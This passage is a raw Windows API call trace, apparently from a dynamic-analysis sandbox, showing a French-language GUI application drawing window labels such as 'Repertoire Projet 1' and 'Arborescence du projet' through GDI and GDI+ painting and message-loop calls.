[0051.891] AdjustWindowRectEx (in: lpRect=0x32ea88, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ea88) returned 1 [0051.891] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eb04) returned 0x0 [0051.891] GdipGetDC (graphics=0x4c358c0, hdc=0x32eaf0) returned 0x0 [0051.891] GetCurrentObject (hdc=0x35010806, type=0x1) returned 0x1b00017 [0051.891] GetCurrentObject (hdc=0x35010806, type=0x2) returned 0x1900010 [0051.891] GetCurrentObject (hdc=0x35010806, type=0x7) returned 0x70050254 [0051.891] GetCurrentObject (hdc=0x35010806, type=0x6) returned 0x18a002e [0051.891] SaveDC (hdc=0x35010806) returned 1 [0051.891] GetTextAlign (hdc=0x35010806) returned 0x0 [0051.891] GetTextColor (hdc=0x35010806) returned 0x0 [0051.891] GetCurrentObject (hdc=0x35010806, type=0x6) returned 0x18a002e [0051.891] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7f8 | out: pv=0x32e7f8) returned 92 [0051.891] SelectObject (hdc=0x35010806, h=0x100a0252) returned 0x18a002e [0051.891] GetBkMode (hdc=0x35010806) returned 2 [0051.891] SetBkMode (hdc=0x35010806, mode=1) returned 2 [0051.891] DrawTextExW (in: hdc=0x35010806, lpchText="Arborescence du projet", cchText=22, lprc=0x32ea84, format=0x0, lpdtp=0x25c5d98 | out: lpchText="Arborescence du projet", lprc=0x32ea84) returned 13 [0051.891] RestoreDC (hdc=0x35010806, nSavedDC=-1) returned 1 [0051.891] GdipReleaseDC (graphics=0x4c358c0, hdc=0x35010806) returned 0x0 [0051.891] GdipGetDC (graphics=0x4c358c0, hdc=0x32eca0) returned 0x0 [0051.891] BitBlt (hdc=0x3010821, x=0, y=0, cx=139, cy=13, hdcSrc=0x35010806, x1=0, y1=0, rop=0xcc0020) returned 1 [0051.892] GdipReleaseDC (graphics=0x4c358c0, hdc=0x35010806) returned 0x0 [0051.892] SelectPalette (hdc=0x3010821, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0051.892] SelectObject (hdc=0x35010806, h=0x185000f) returned 0x70050254 [0051.892] DeleteDC (hdc=0x35010806) returned 1 [0051.892] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0051.892] EndPaint (hWnd=0x301b0, lpPaint=0x32ec44) returned 1 [0051.892] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0051.892] IsWindowUnicode (hWnd=0x301ac) returned 1 [0051.892] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0051.892] TranslateMessage (lpMsg=0x32f158) returned 0 [0051.892] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0051.892] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0051.892] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0051.894] CallWindowProcW (lpPrevWndFunc=0x73d269b9, hWnd=0x301ac, Msg=0x14, wParam=0x2010847, lParam=0x0) returned 0x1 [0051.894] SetTextColor (hdc=0x2010847, color=0x0) returned 0x0 [0051.894] SetBkColor (hdc=0x2010847, color=0xffffff) returned 0xffffff [0051.895] SetTextColor (hdc=0x2010847, color=0x0) returned 0x0 [0051.896] SetBkColor (hdc=0x2010847, color=0xffffff) returned 0xffffff [0051.897] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0051.897] IsWindowUnicode (hWnd=0x301ae) returned 1 [0051.897] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0051.897] TranslateMessage (lpMsg=0x32f158) returned 0 [0051.897] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0051.897] BeginPaint (in: hWnd=0x301ae, lpPaint=0x32ec48 | out: lpPaint=0x32ec48) returned 0x12010815 [0051.897] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0051.898] SelectPalette (hdc=0x12010815, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0051.898] CreateCompatibleDC (hdc=0x12010815) returned 0x2a010156 [0051.898] SelectObject (hdc=0x2a010156, h=0x70050254) returned 0x185000f [0051.898] GdipCreateFromHDC (hdc=0x2a010156, graphics=0x32ec60) returned 0x0 [0051.898] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0051.898] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0051.898] GdipCreateMatrix (matrix=0x32eca8) returned 0x0 [0051.898] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0051.898] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecc0) returned 0x0 [0051.898] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.898] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x634980) returned 0x0 [0051.898] LocalFree (hMem=0x634980) returned 0x0 [0051.898] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0051.898] GdipCreateRegion (region=0x32eca8) returned 0x0 [0051.898] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0051.898] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ecb4) returned 0x0 [0051.898] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ece0) returned 0x0 [0051.898] GetWindowTextLengthW (hWnd=0x301ae) returned 23 [0051.898] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0051.898] GetSystemMetrics (nIndex=42) returned 0 [0051.898] GetWindowTextW (in: hWnd=0x301ae, lpString=0x32ebcc, nMaxCount=24 | out: lpString="Repertoire Projet 2 : ") returned 23 [0051.898] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0xd, wParam=0x18, lParam=0x32ebcc) returned 0x17 [0051.899] GetClientRect (in: hWnd=0x301ae, lpRect=0x32eca8 | out: lpRect=0x32eca8) returned 1 [0051.899] GdipCreateRegion (region=0x32eafc) returned 0x0 [0051.899] GdipGetClip (graphics=0x4c358c0, region=0x4c35ec0) returned 0x0 [0051.899] GdipCreateMatrix (matrix=0x32eafc) returned 0x0 [0051.899] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0051.899] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32eb14) returned 0x0 [0051.899] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.899] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x634980) returned 0x0 [0051.899] LocalFree (hMem=0x634980) returned 0x0 [0051.899] GdipCombineRegionRegion (region=0x4c35ec0, region2=0x4c35bd0, combineMode=0x1) returned 0x0 [0051.899] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.899] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x634980) returned 0x0 [0051.899] LocalFree (hMem=0x634980) returned 0x0 [0051.899] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0051.899] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb3c) returned 0x0 [0051.899] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb2c) returned 0x0 [0051.899] GdipGetRegionHRgn (region=0x4c35ec0, graphics=0x4c358c0, hRgn=0x32eb2c) returned 0x0 [0051.899] GdipDeleteRegion (region=0x4c35ec0) returned 0x0 [0051.899] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb44) returned 0x0 [0051.899] GetCurrentObject (hdc=0x2a010156, type=0x1) returned 0x1b00017 [0051.899] GetCurrentObject (hdc=0x2a010156, type=0x2) returned 0x1900010 [0051.899] GetCurrentObject (hdc=0x2a010156, type=0x7) returned 0x70050254 [0051.899] GetCurrentObject (hdc=0x2a010156, type=0x6) returned 0x18a002e [0051.899] SaveDC (hdc=0x2a010156) returned 1 [0051.900] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x22040850 [0051.900] GetClipRgn (hdc=0x2a010156, hrgn=0x22040850) returned 0 [0051.900] SelectClipRgn (hdc=0x2a010156, hrgn=0x280401e3) returned 2 [0051.900] DeleteObject (ho=0x22040850) returned 1 [0051.900] DeleteObject (ho=0x280401e3) returned 1 [0051.900] OffsetViewportOrgEx (in: hdc=0x2a010156, x=0, y=0, lppt=0x25c6170 | out: lppt=0x25c6170) returned 1 [0051.900] GetNearestColor (hdc=0x2a010156, color=0xc8c8c8) returned 0xc8c8c8 [0051.900] CreateSolidBrush (color=0xc8c8c8) returned 0x1010084d [0051.900] FillRect (hDC=0x2a010156, lprc=0x32eb48, hbr=0x1010084d) returned 1 [0051.900] DeleteObject (ho=0x1010084d) returned 1 [0051.900] RestoreDC (hdc=0x2a010156, nSavedDC=-1) returned 1 [0051.900] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2a010156) returned 0x0 [0051.900] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfda90dbd) returned 0x0 [0051.900] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0051.900] GetWindowTextLengthW (hWnd=0x301ae) returned 23 [0051.900] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0051.900] GetSystemMetrics (nIndex=42) returned 0 [0051.900] GetWindowTextW (in: hWnd=0x301ae, lpString=0x32ebcc, nMaxCount=24 | out: lpString="Repertoire Projet 2 : ") returned 23 [0051.900] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301ae, Msg=0xd, wParam=0x18, lParam=0x32ebcc) returned 0x17 [0051.900] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb64) returned 0x0 [0051.900] GetCurrentObject (hdc=0x2a010156, type=0x1) returned 0x1b00017 [0051.900] GetCurrentObject (hdc=0x2a010156, type=0x2) returned 0x1900010 [0051.900] GetCurrentObject (hdc=0x2a010156, type=0x7) returned 0x70050254 [0051.900] GetCurrentObject (hdc=0x2a010156, type=0x6) returned 0x18a002e [0051.900] SaveDC (hdc=0x2a010156) returned 1 [0051.901] GetNearestColor (hdc=0x2a010156, color=0x0) returned 0x0 [0051.901] RestoreDC (hdc=0x2a010156, nSavedDC=-1) returned 1 [0051.901] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2a010156) returned 0x0 [0051.901] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0051.901] AdjustWindowRectEx (in: lpRect=0x32ea88, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ea88) returned 1 [0051.901] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eb04) returned 0x0 [0051.901] GdipGetDC (graphics=0x4c358c0, hdc=0x32eaf0) returned 0x0 [0051.901] GetCurrentObject (hdc=0x2a010156, type=0x1) returned 0x1b00017 [0051.901] GetCurrentObject (hdc=0x2a010156, type=0x2) returned 0x1900010 [0051.901] GetCurrentObject (hdc=0x2a010156, type=0x7) returned 0x70050254 [0051.901] GetCurrentObject (hdc=0x2a010156, type=0x6) returned 0x18a002e [0051.901] SaveDC (hdc=0x2a010156) returned 1 [0051.901] GetTextAlign (hdc=0x2a010156) returned 0x0 [0051.901] GetTextColor (hdc=0x2a010156) returned 0x0 [0051.901] GetCurrentObject (hdc=0x2a010156, type=0x6) returned 0x18a002e [0051.901] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7f8 | out: pv=0x32e7f8) returned 92 [0051.901] SelectObject (hdc=0x2a010156, h=0x100a0252) returned 0x18a002e [0051.901] GetBkMode (hdc=0x2a010156) returned 2 [0051.901] SetBkMode (hdc=0x2a010156, mode=1) returned 2 [0051.902] DrawTextExW (in: hdc=0x2a010156, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x32e8cc, format=0x404, lpdtp=0x25c664c | out: lpchText="Repertoire Projet 2 : ", lprc=0x32e8cc) returned 13 [0051.902] DrawTextExW (in: hdc=0x2a010156, lpchText="Repertoire Projet 2 : ", cchText=23, lprc=0x32ea84, format=0x4, lpdtp=0x25c664c | out: lpchText="Repertoire Projet 2 : ", lprc=0x32ea84) returned 13 [0051.902] RestoreDC (hdc=0x2a010156, nSavedDC=-1) returned 1 [0051.902] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2a010156) returned 0x0 [0051.902] GdipGetDC (graphics=0x4c358c0, hdc=0x32eca0) returned 0x0 [0051.902] BitBlt (hdc=0x12010815, x=0, y=0, cx=161, cy=21, hdcSrc=0x2a010156, x1=0, y1=0, rop=0xcc0020) returned 1 [0051.902] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2a010156) returned 0x0 [0051.902] SelectPalette (hdc=0x12010815, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0051.902] SelectObject (hdc=0x2a010156, h=0x185000f) returned 0x70050254 [0051.902] DeleteDC (hdc=0x2a010156) returned 1 [0051.902] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0051.902] EndPaint (hWnd=0x301ae, lpPaint=0x32ec44) returned 1 [0051.902] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0051.902] IsWindowUnicode (hWnd=0x201e6) returned 1 [0051.902] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0051.902] TranslateMessage (lpMsg=0x32f158) returned 0 [0051.902] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0051.902] BeginPaint (in: hWnd=0x201e6, lpPaint=0x32ec48 | out: lpPaint=0x32ec48) returned 0x2010847 [0051.902] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0051.903] SelectPalette (hdc=0x2010847, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0051.903] CreateCompatibleDC (hdc=0x2010847) returned 0x2d010156 [0051.903] SelectObject (hdc=0x2d010156, h=0x70050254) returned 0x185000f [0051.903] GdipCreateFromHDC (hdc=0x2d010156, graphics=0x32ec60) returned 0x0 [0051.903] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0051.903] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0051.903] GdipCreateMatrix (matrix=0x32eca8) returned 0x0 [0051.903] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0051.903] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecc0) returned 0x0 [0051.903] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.903] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x634980) returned 0x0 [0051.903] LocalFree (hMem=0x634980) returned 0x0 [0051.903] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0051.903] GdipCreateRegion (region=0x32eca8) returned 0x0 [0051.903] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0051.903] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ecb4) returned 0x0 [0051.903] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ece0) returned 0x0 [0051.903] GetWindowTextLengthW (hWnd=0x201e6) returned 23 [0051.903] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0051.904] GetSystemMetrics (nIndex=42) returned 0 [0051.904] GetWindowTextW (in: hWnd=0x201e6, lpString=0x32ebcc, nMaxCount=24 | out: lpString="Repertoire Projet 1 : ") returned 23 [0051.904] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0xd, wParam=0x18, lParam=0x32ebcc) returned 0x17 [0051.904] GetClientRect (in: hWnd=0x201e6, lpRect=0x32eca8 | out: lpRect=0x32eca8) returned 1 [0051.904] GdipCreateRegion (region=0x32eafc) returned 0x0 [0051.904] GdipGetClip (graphics=0x4c358c0, region=0x4c35ec0) returned 0x0 [0051.904] GdipCreateMatrix (matrix=0x32eafc) returned 0x0 [0051.904] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0051.904] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32eb14) returned 0x0 [0051.904] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.904] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x634980) returned 0x0 [0051.904] LocalFree (hMem=0x634980) returned 0x0 [0051.904] GdipCombineRegionRegion (region=0x4c35ec0, region2=0x4c35bd0, combineMode=0x1) returned 0x0 [0051.904] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.904] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x634980) returned 0x0 [0051.904] LocalFree (hMem=0x634980) returned 0x0 [0051.904] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0051.904] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb3c) returned 0x0 [0051.904] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb2c) returned 0x0 [0051.904] GdipGetRegionHRgn (region=0x4c35ec0, graphics=0x4c358c0, hRgn=0x32eb2c) returned 0x0 [0051.904] GdipDeleteRegion (region=0x4c35ec0) returned 0x0 [0051.904] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb44) returned 0x0 [0051.904] GetCurrentObject (hdc=0x2d010156, type=0x1) returned 0x1b00017 [0051.904] GetCurrentObject (hdc=0x2d010156, type=0x2) returned 0x1900010 [0051.904] GetCurrentObject (hdc=0x2d010156, type=0x7) returned 0x70050254 [0051.904] GetCurrentObject (hdc=0x2d010156, type=0x6) returned 0x18a002e [0051.904] SaveDC (hdc=0x2d010156) returned 1 [0051.904] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x290401e3 [0051.905] GetClipRgn (hdc=0x2d010156, hrgn=0x290401e3) returned 0 [0051.905] SelectClipRgn (hdc=0x2d010156, hrgn=0x25040850) returned 2 [0051.905] DeleteObject (ho=0x290401e3) returned 1 [0051.905] DeleteObject (ho=0x25040850) returned 1 [0051.905] OffsetViewportOrgEx (in: hdc=0x2d010156, x=0, y=0, lppt=0x25c6a24 | out: lppt=0x25c6a24) returned 1 [0051.905] GetNearestColor (hdc=0x2d010156, color=0xc8c8c8) returned 0xc8c8c8 [0051.905] CreateSolidBrush (color=0xc8c8c8) returned 0x1110084d [0051.905] FillRect (hDC=0x2d010156, lprc=0x32eb48, hbr=0x1110084d) returned 1 [0051.905] DeleteObject (ho=0x1110084d) returned 1 [0051.905] RestoreDC (hdc=0x2d010156, nSavedDC=-1) returned 1 [0051.905] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d010156) returned 0x0 [0051.905] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfda70dbd) returned 0x0 [0051.905] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0051.905] GetWindowTextLengthW (hWnd=0x201e6) returned 23 [0051.905] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0051.905] GetSystemMetrics (nIndex=42) returned 0 [0051.905] GetWindowTextW (in: hWnd=0x201e6, lpString=0x32ebcc, nMaxCount=24 | out: lpString="Repertoire Projet 1 : ") returned 23 [0051.905] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x201e6, Msg=0xd, wParam=0x18, lParam=0x32ebcc) returned 0x17 [0051.905] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb64) returned 0x0 [0051.905] GetCurrentObject (hdc=0x2d010156, type=0x1) returned 0x1b00017 [0051.905] GetCurrentObject (hdc=0x2d010156, type=0x2) returned 0x1900010 [0051.905] GetCurrentObject (hdc=0x2d010156, type=0x7) returned 0x70050254 [0051.905] GetCurrentObject (hdc=0x2d010156, type=0x6) returned 0x18a002e [0051.905] SaveDC (hdc=0x2d010156) returned 1 [0051.905] GetNearestColor (hdc=0x2d010156, color=0x0) returned 0x0 [0051.905] RestoreDC (hdc=0x2d010156, nSavedDC=-1) returned 1 [0051.906] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d010156) returned 0x0 [0051.906] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73c90000 [0051.906] AdjustWindowRectEx (in: lpRect=0x32ea88, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ea88) returned 1 [0051.906] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eb04) returned 0x0 [0051.906] GdipGetDC (graphics=0x4c358c0, hdc=0x32eaf0) returned 0x0 [0051.906] GetCurrentObject (hdc=0x2d010156, type=0x1) returned 0x1b00017 [0051.906] GetCurrentObject (hdc=0x2d010156, type=0x2) returned 0x1900010 [0051.906] GetCurrentObject (hdc=0x2d010156, type=0x7) returned 0x70050254 [0051.906] GetCurrentObject (hdc=0x2d010156, type=0x6) returned 0x18a002e [0051.906] SaveDC (hdc=0x2d010156) returned 1 [0051.906] GetTextAlign (hdc=0x2d010156) returned 0x0 [0051.906] GetTextColor (hdc=0x2d010156) returned 0x0 [0051.906] GetCurrentObject (hdc=0x2d010156, type=0x6) returned 0x18a002e [0051.906] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7f8 | out: pv=0x32e7f8) returned 92 [0051.906] SelectObject (hdc=0x2d010156, h=0x100a0252) returned 0x18a002e [0051.906] GetBkMode (hdc=0x2d010156) returned 2 [0051.906] SetBkMode (hdc=0x2d010156, mode=1) returned 2 [0051.906] DrawTextExW (in: hdc=0x2d010156, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x32e8cc, format=0x404, lpdtp=0x25c6f00 | out: lpchText="Repertoire Projet 1 : ", lprc=0x32e8cc) returned 13 [0051.906] DrawTextExW (in: hdc=0x2d010156, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x32ea84, format=0x4, lpdtp=0x25c6f00 | out: lpchText="Repertoire Projet 1 : ", lprc=0x32ea84) returned 13 [0051.907] RestoreDC (hdc=0x2d010156, nSavedDC=-1) returned 1 [0051.907] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d010156) returned 0x0 [0051.907] GdipGetDC (graphics=0x4c358c0, hdc=0x32eca0) returned 0x0 [0051.907] BitBlt (hdc=0x2010847, x=0, y=0, cx=161, cy=21, hdcSrc=0x2d010156, x1=0, y1=0, rop=0xcc0020) returned 1 [0051.907] GdipReleaseDC (graphics=0x4c358c0, hdc=0x2d010156) returned 0x0 [0051.907] SelectPalette (hdc=0x2010847, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0051.907] SelectObject (hdc=0x2d010156, h=0x185000f) returned 0x70050254 [0051.907] DeleteDC (hdc=0x2d010156) returned 1 [0051.907] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0051.907] EndPaint (hWnd=0x201e6, lpPaint=0x32ec44) returned 1 [0051.907] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0051.907] IsWindowUnicode (hWnd=0x301bc) returned 1 [0051.907] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0051.907] TranslateMessage (lpMsg=0x32f158) returned 0 [0051.907] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0051.907] BeginPaint (in: hWnd=0x301bc, lpPaint=0x32ec48 | out: lpPaint=0x32ec48) returned 0x12010815 [0051.907] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0051.908] SelectPalette (hdc=0x12010815, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0051.908] CreateCompatibleDC (hdc=0x12010815) returned 0x30010156 [0051.908] SelectObject (hdc=0x30010156, h=0x70050254) returned 0x185000f [0051.908] GdipCreateFromHDC (hdc=0x30010156, graphics=0x32ec60) returned 0x0 [0051.908] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0051.908] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0051.908] GdipCreateMatrix (matrix=0x32eca8) returned 0x0 [0051.908] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0051.908] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecc0) returned 0x0 [0051.908] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.908] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x634980) returned 0x0 [0051.908] LocalFree (hMem=0x634980) returned 0x0 [0051.908] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0051.908] GdipCreateRegion (region=0x32eca8) returned 0x0 [0051.908] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0051.908] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ecb4) returned 0x0 [0051.908] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ece0) returned 0x0 [0051.908] GetWindowTextLengthW (hWnd=0x301bc) returned 22 [0051.908] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0051.908] GetSystemMetrics (nIndex=42) returned 0 [0051.908] GetWindowTextW (in: hWnd=0x301bc, lpString=0x32ebcc, nMaxCount=23 | out: lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 22 [0051.908] CallWindowProcW (lpPrevWndFunc=0x73cab8c9, hWnd=0x301bc, Msg=0xd, wParam=0x17, lParam=0x32ebcc) returned 0x16 [0051.908] GetClientRect (in: hWnd=0x301bc, lpRect=0x32eca8 | out: lpRect=0x32eca8) returned 1 [0051.908] GdipCreateRegion (region=0x32eafc) returned 0x0 [0051.908] GdipGetClip (graphics=0x4c358c0, region=0x4c35ec0) returned 0x0 [0051.908] GdipCreateMatrix (matrix=0x32eafc) returned 0x0 [0051.908] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0051.909] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32eb14) returned 0x0 [0051.909] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.909] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x634980) returned 0x0 [0051.909] LocalFree (hMem=0x634980) returned 0x0 [0051.909] GdipCombineRegionRegion (region=0x4c35ec0, region2=0x4c35bd0, combineMode=0x1) returned 0x0 [0051.909] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x634980 [0051.909] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x634980) returned 0x0 [0051.909] LocalFree (hMem=0x634980) returned 0x0 [0051.909] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0051.909] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb3c) returned 0x0 [0051.909] GdipIsInfiniteRegion (region=0x4c35ec0, graphics=0x4c358c0, result=0x32eb2c) returned 0x0 [0051.909] GdipGetRegionHRgn (region=0x4c35ec0, graphics=0x4c358c0, hRgn=0x32eb2c) returned 0x0 [0051.909] GdipDeleteRegion (region=0x4c35ec0) returned 0x0 [0051.909] GdipGetDC (graphics=0x4c358c0, hdc=0x32eb44) returned 0x0 [0051.909] GetCurrentObject (hdc=0x30010156, type=0x1) returned 0x1b00017 [0051.909] GetCurrentObject (hdc=0x30010156, type=0x2) returned 0x1900010 [0051.909] GetCurrentObject (hdc=0x30010156, type=0x7) returned 0x70050254 [0051.909] GetCurrentObject (hdc=0x30010156, type=0x6) returned 0x18a002e [0051.909] SaveDC (hdc=0x30010156) returned 1 [0051.909] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x26040850 [0051.909] GetClipRgn (hdc=0x30010156, hrgn=0x26040850) returned 0 [0051.909] SelectClipRgn (hdc=0x30010156, hrgn=0x2c0401e3) returned 2 [0051.909] DeleteObject (ho=0x26040850) returned 1 [0051.909] DeleteObject (ho=0x2c0401e3) returned 1 [0051.909] OffsetViewportOrgEx (in: hdc=0x30010156, x=0, y=0, lppt=0x25c72d8 | out: lppt=0x25c72d8) returned 1 [0051.909] GetNearestColor (hdc=0x30010156, color=0xc8c8c8) returned 